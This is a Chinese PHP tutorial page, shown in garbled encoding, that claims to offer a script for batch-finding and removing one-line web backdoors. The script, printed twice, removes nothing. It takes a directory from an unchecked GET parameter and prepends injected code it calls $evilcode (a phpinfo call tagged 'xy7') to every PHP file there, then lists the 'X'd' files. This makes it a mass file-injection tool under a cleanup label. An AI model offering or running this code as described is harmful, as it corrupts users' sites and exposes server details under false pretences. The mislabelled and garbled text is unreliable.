用php實(shí)現(xiàn)批量查詢(xún)清除一句話后門(mén)的代碼
更新時(shí)間:2008年01月20日 16:05:03 作者:
一句話后門(mén)一般簡(jiǎn)單,容易隱藏危害大,查找麻煩等。今天發(fā)現(xiàn)了這個(gè)Xall.php專(zhuān)門(mén)批量查詢(xún)干掉一句話后門(mén)的代碼,大家可以省去不少麻煩了
總是忘記一句話放到哪個(gè)文件里去了,直接全部干掉...
<?//xy7
if (!isset($dir) or empty($dir)) {
$dir=str_replace('\\','/',dirname(__FILE__));
echo "<font color=\"#00688B\">".$dir."</font>";
} else {
$dir=$_GET['dir'];
echo "<font color=\"#00688B\">".$dir."</font>";
}
$evilcode="<?phpinfo();//xy7?>";
$testdir = opendir($dir);
while($filea = @readdir($testdir)){
if(strstr($filea, '.php')){
$fp = @fopen($filea, 'r+');
if (!strstr(@fread($fp, 20), 'xy7')){
rewind($fp);
$old = @fread($fp, filesize($filea));
rewind($fp);
fwrite($fp, $evilcode . $old);
}
fclose($fp);
}
}
closedir($testdir);
?>
<hr>
<table width="100%" border="0" cellpadding="3" cellspacing="1">
<tr>
<td><b>被X的文件</b></td>
<td><b>時(shí)間</b></td>
<td><b>大小</b></td>
</tr>
<?php
$dirs=@opendir($dir);
while ($file=@readdir($dirs)) {
if ((is_file($file)) and (ereg("\.php{0,1}$",$file)))
{$b="$dir/$file";
$a=@is_dir($b);
if($a=="0"){
$size=@filesize("$dir/$file");
$lastsave=@date("Y-n-d H:i:s",filectime("$dir/$file"));
echo "<tr>\n";
echo "<td>$file</td>\n";
echo " <td>$lastsave</td>\n";
echo " <td>$size Bytes</td>\n";
}
}
}
@closedir($dirs);
?>
</table>
codz by xuanmumu
復(fù)制代碼 代碼如下:
<?//xy7
if (!isset($dir) or empty($dir)) {
$dir=str_replace('\\','/',dirname(__FILE__));
echo "<font color=\"#00688B\">".$dir."</font>";
} else {
$dir=$_GET['dir'];
echo "<font color=\"#00688B\">".$dir."</font>";
}
$evilcode="<?phpinfo();//xy7?>";
$testdir = opendir($dir);
while($filea = @readdir($testdir)){
if(strstr($filea, '.php')){
$fp = @fopen($filea, 'r+');
if (!strstr(@fread($fp, 20), 'xy7')){
rewind($fp);
$old = @fread($fp, filesize($filea));
rewind($fp);
fwrite($fp, $evilcode . $old);
}
fclose($fp);
}
}
closedir($testdir);
?>
<hr>
<table width="100%" border="0" cellpadding="3" cellspacing="1">
<tr>
<td><b>被X的文件</b></td>
<td><b>時(shí)間</b></td>
<td><b>大小</b></td>
</tr>
<?php
$dirs=@opendir($dir);
while ($file=@readdir($dirs)) {
if ((is_file($file)) and (ereg("\.php{0,1}$",$file)))
{$b="$dir/$file";
$a=@is_dir($b);
if($a=="0"){
$size=@filesize("$dir/$file");
$lastsave=@date("Y-n-d H:i:s",filectime("$dir/$file"));
echo "<tr>\n";
echo "<td>$file</td>\n";
echo " <td>$lastsave</td>\n";
echo " <td>$size Bytes</td>\n";
}
}
}
@closedir($dirs);
?>
</table>
相關(guān)文章
PHP 獲取某年第幾周的開(kāi)始日期和結(jié)束日期的實(shí)例
下面小編就為大家分享一篇PHP 獲取某年第幾周的開(kāi)始日期和結(jié)束日期的實(shí)例,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過(guò)來(lái)看看吧2018-01-01
php數(shù)組函數(shù)序列之a(chǎn)rray_unshift() 在數(shù)組開(kāi)頭插入一個(gè)或多個(gè)元素
array_unshift() 函數(shù)在數(shù)組開(kāi)頭插入一個(gè)或多個(gè)元素。被加上的元素作為一個(gè)整體添加,這些元素在數(shù)組中的順序和在參數(shù)中的順序一樣2011-11-11
PHP實(shí)現(xiàn)上傳圖片到數(shù)據(jù)庫(kù)并顯示輸出的方法
這篇文章主要介紹了PHP實(shí)現(xiàn)上傳圖片到數(shù)據(jù)庫(kù)并顯示輸出的方法,結(jié)合實(shí)例形式分析了php采用二進(jìn)制形式存儲(chǔ)圖片及讀取顯示的相關(guān)操作技巧,需要的朋友可以參考下2018-05-05

